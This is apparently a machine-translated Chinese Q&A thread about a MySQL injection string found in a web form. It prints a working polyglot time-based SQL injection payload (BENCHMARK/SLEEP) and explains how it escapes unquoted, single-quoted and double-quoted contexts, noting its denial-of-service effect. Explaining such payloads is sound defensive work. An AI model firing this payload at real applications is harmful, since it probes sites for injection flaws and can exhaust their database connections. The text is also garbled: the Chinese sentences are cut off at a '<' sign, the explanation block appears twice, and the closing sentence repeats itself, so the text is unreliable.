Mysql 谁知道这种sql注入？

有人通过取消选中表单中的文本字段来注入以下内容：

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/

---

IF（SUBSTR（@@version，1,1）它的设计目的是，无论输入框的值在旧版本的MySQL上是无引号的、单引号的还是双引号的，都会对CPU造成严重影响，在新版本的MySQL上，保持连接打开，休眠5秒钟

在每种情况下，如果应用程序易受SQL注入攻击，则可能会执行拒绝服务攻击，因为长时间保持连接打开可能会导致服务器资源/可用连接耗尽

-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:        
/*


-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|


--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/

——如果不加引号，它会看到：
如果（SUBSTR（@@version，1,1）它被设计为在保持连接打开的情况下睡眠5秒钟，而不管在MySQL的旧版本和更新版本上输入框的值是无引号、单引号还是双引号，都会对CPU造成严重影响

在每种情况下，如果应用程序易受SQL注入攻击，则可能会执行拒绝服务攻击，因为长时间保持连接打开可能会导致服务器资源/可用连接耗尽

-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:        
/*


-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|


--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/

——如果不加引号，它会看到：
如果（SUBSTR（@@version，1,1）我认为它在执行时会减慢速度，如果执行得太多，您的数据库将无法访问/非常慢。有点DoS攻击我认为它在执行时会减慢速度，如果执行得太多，您的数据库将无法访问/非常慢。有点DoS攻击